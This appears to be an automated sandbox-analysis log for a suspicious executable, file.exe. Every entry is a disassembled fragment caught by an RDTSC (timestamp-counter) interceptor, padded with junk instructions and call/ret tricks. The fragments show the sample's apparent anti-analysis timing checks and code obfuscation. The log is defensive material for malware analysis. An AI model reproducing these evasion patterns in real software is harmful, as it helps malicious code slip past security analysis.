Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622853 second address: 622897 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F45A84F3304h 0x00000009 pushad 0x0000000a jmp 00007F45A84F3300h 0x0000000f jmp 00007F45A84F3307h 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622A16 second address: 622A1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622B95 second address: 622B9B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622B9B second address: 622BA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007F45A8838C76h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622E5D second address: 622E61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622E61 second address: 622E6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push edi 0x00000008 pop edi 0x00000009 pushad 0x0000000a popad 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62600A second address: 626014 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F45A84F32F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6265C6 second address: 626613 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F45A8838C76h 0x00000009 jo 00007F45A8838C76h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push ecx 0x00000014 ja 00007F45A8838C7Ch 0x0000001a jl 00007F45A8838C76h 0x00000020 pop ecx 0x00000021 mov eax, dword ptr [esp+04h] 0x00000025 jmp 00007F45A8838C7Bh 0x0000002a mov eax, dword ptr [eax] 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f jmp 00007F45A8838C81h 0x00000034 jno 00007F45A8838C76h 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 629E01 second address: 629E0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F45A84F32F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 629E0B second address: 629E11 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 629E11 second address: 629E1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62E842 second address: 62E846 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62EAF6 second address: 62EB11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F45A84F32F6h 0x0000000a jmp 00007F45A84F3300h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62EB11 second address: 62EB18 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62EB18 second address: 62EB27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F45A84F32F6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62EB27 second address: 62EB39 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F45A8838C76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62EB39 second address: 62EB49 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F45A84F32F6h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d pushad 0x0000000e popad 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62EC7E second address: 62EC84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 631130 second address: 631136 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 631136 second address: 631154 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F45A8838C82h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 631222 second address: 63123C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007F45A84F32FEh 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63123C second address: 631243 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 631243 second address: 631248 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 631459 second address: 63145D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 631546 second address: 63154A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 631BF3 second address: 631BF9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 631BF9 second address: 631C58 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F45A84F32FCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jno 00007F45A84F3316h 0x00000011 xchg eax, ebx 0x00000012 jmp 00007F45A84F3306h 0x00000017 nop 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b jng 00007F45A84F32F6h 0x00000021 jc 00007F45A84F32F6h 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 631F84 second address: 631F89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 632066 second address: 63206A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 632FBE second address: 632FC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6339CC second address: 6339D6 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F45A84F32FCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 632FC2 second address: 632FC8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 632FC8 second address: 632FF0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F45A84F32FAh 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jnl 00007F45A84F330Fh 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F45A84F32FDh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 632FF0 second address: 632FF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 634DBC second address: 634DF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 clc 0x00000008 movzx esi, cx 0x0000000b push 00000000h 0x0000000d sub edi, dword ptr [ebp+122D2C2Bh] 0x00000013 mov esi, dword ptr [ebp+122D2A10h] 0x00000019 push 00000000h 0x0000001b mov dword ptr [ebp+122D2560h], edx 0x00000021 xchg eax, ebx 0x00000022 jns 00007F45A84F32FEh 0x00000028 push eax 0x00000029 pushad 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 634DF2 second address: 634DF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 634DF6 second address: 634E16 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A84F3303h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jnl 00007F45A84F32F6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 635852 second address: 635857 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 636431 second address: 636435 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 635598 second address: 63559C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 636435 second address: 63644A instructions: 0x00000000 rdtsc 0x00000002 jne 00007F45A84F32F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jng 00007F45A84F3304h 0x00000011 push eax 0x00000012 push edx 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63644A second address: 63644E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6364D1 second address: 6364DB instructions: 0x00000000 rdtsc 0x00000002 jne 00007F45A84F32F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6364DB second address: 6364E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63618A second address: 6361A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F45A84F32FDh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637A5E second address: 637A64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63A409 second address: 63A40D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63A40D second address: 63A484 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007F45A8838C7Fh 0x0000000d nop 0x0000000e call 00007F45A8838C89h 0x00000013 movzx ebx, ax 0x00000016 pop edi 0x00000017 push 00000000h 0x00000019 call 00007F45A8838C86h 0x0000001e call 00007F45A8838C85h 0x00000023 or ebx, 75E0C22Ah 0x00000029 pop ebx 0x0000002a pop edi 0x0000002b push 00000000h 0x0000002d stc 0x0000002e push eax 0x0000002f push edi 0x00000030 push eax 0x00000031 push edx 0x00000032 jns 00007F45A8838C76h 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 638290 second address: 638294 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63C29B second address: 63C29F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63D283 second address: 63D2D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push eax 0x0000000b call 00007F45A84F32F8h 0x00000010 pop eax 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 add dword ptr [esp+04h], 00000016h 0x0000001d inc eax 0x0000001e push eax 0x0000001f ret 0x00000020 pop eax 0x00000021 ret 0x00000022 push 00000000h 0x00000024 mov ebx, dword ptr [ebp+122D2CACh] 0x0000002a push 00000000h 0x0000002c movsx edi, dx 0x0000002f push eax 0x00000030 pushad 0x00000031 push ecx 0x00000032 jmp 00007F45A84F3305h 0x00000037 pop ecx 0x00000038 pushad 0x00000039 je 00007F45A84F32F6h 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63E17C second address: 63E18C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F45A8838C7Bh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63E18C second address: 63E196 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F45A84F32F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63D3F8 second address: 63D486 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A8838C7Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F45A8838C7Ch 0x0000000e popad 0x0000000f push eax 0x00000010 jmp 00007F45A8838C85h 0x00000015 nop 0x00000016 mov dword ptr [ebp+122D32BFh], ebx 0x0000001c push dword ptr fs:[00000000h] 0x00000023 mov dword ptr [ebp+122D1D09h], esi 0x00000029 mov dword ptr fs:[00000000h], esp 0x00000030 je 00007F45A8838C7Ch 0x00000036 mov ebx, dword ptr [ebp+122D2898h] 0x0000003c jns 00007F45A8838C82h 0x00000042 mov eax, dword ptr [ebp+122D0B21h] 0x00000048 mov bh, cl 0x0000004a mov edi, 65999DF5h 0x0000004f push FFFFFFFFh 0x00000051 mov ebx, dword ptr [ebp+122D2968h] 0x00000057 nop 0x00000058 jc 00007F45A8838C84h 0x0000005e push eax 0x0000005f push edx 0x00000060 jg 00007F45A8838C76h 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63E196 second address: 63E19A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63D486 second address: 63D49B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 push edi 0x0000000a pop edi 0x0000000b jc 00007F45A8838C76h 0x00000011 popad 0x00000012 push esi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63F356 second address: 63F366 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F45A84F32FCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63F366 second address: 63F36A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63F36A second address: 63F3DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 xor dword ptr [ebp+122D3714h], ebx 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push edi 0x00000014 call 00007F45A84F32F8h 0x00000019 pop edi 0x0000001a mov dword ptr [esp+04h], edi 0x0000001e add dword ptr [esp+04h], 00000017h 0x00000026 inc edi 0x00000027 push edi 0x00000028 ret 0x00000029 pop edi 0x0000002a ret 0x0000002b mov ebx, eax 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push ebp 0x00000032 call 00007F45A84F32F8h 0x00000037 pop ebp 0x00000038 mov dword ptr [esp+04h], ebp 0x0000003c add dword ptr [esp+04h], 00000015h 0x00000044 inc ebp 0x00000045 push ebp 0x00000046 ret 0x00000047 pop ebp 0x00000048 ret 0x00000049 jno 00007F45A84F330Dh 0x0000004f push eax 0x00000050 pushad 0x00000051 pushad 0x00000052 pushad 0x00000053 popad 0x00000054 push eax 0x00000055 push edx 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 640565 second address: 640579 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F45A8838C7Dh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 640579 second address: 6405A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A84F32FEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F45A84F3306h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 642401 second address: 642407 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 642544 second address: 64254F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F45A84F32F6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64254F second address: 642555 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64462D second address: 644641 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A84F3300h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 642555 second address: 642559 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 642559 second address: 64255D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 645519 second address: 64551D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64551D second address: 645521 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64653A second address: 646540 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 645521 second address: 645527 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 645527 second address: 64552C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64552C second address: 645556 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push esi 0x0000000c jmp 00007F45A84F3309h 0x00000011 pop esi 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 647585 second address: 64758F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F45A8838C76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 652D7C second address: 652D80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6524E3 second address: 6524EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F45A8838C78h 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6524EF second address: 652508 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F45A84F3305h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 652508 second address: 65250C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 657913 second address: 657917 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 657917 second address: 65791D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65CE7B second address: 65CE83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65C13C second address: 65C141 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65C28A second address: 65C2B8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 pop eax 0x00000005 push edx 0x00000006 pop edx 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jo 00007F45A84F32F8h 0x00000011 push eax 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jne 00007F45A84F32F6h 0x0000001b jmp 00007F45A84F3303h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65C2B8 second address: 65C2C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65C2C1 second address: 65C2C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65C2C7 second address: 65C2E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F45A8838C87h 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65C846 second address: 65C850 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop esi 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65CA0B second address: 65CA0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65CA0F second address: 65CA13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65CA13 second address: 65CA4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F45A8838C7Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F45A8838C86h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push edx 0x00000014 jc 00007F45A8838C76h 0x0000001a jnc 00007F45A8838C76h 0x00000020 pop edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65CA4B second address: 65CA61 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F45A84F32F6h 0x00000009 je 00007F45A84F32F6h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65CBC0 second address: 65CBC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 660484 second address: 66048A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F7005 second address: 5F7018 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007F45A8838C7Eh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F7018 second address: 5F703F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F45A84F32FEh 0x00000009 jmp 00007F45A84F3305h 0x0000000e rdtsc
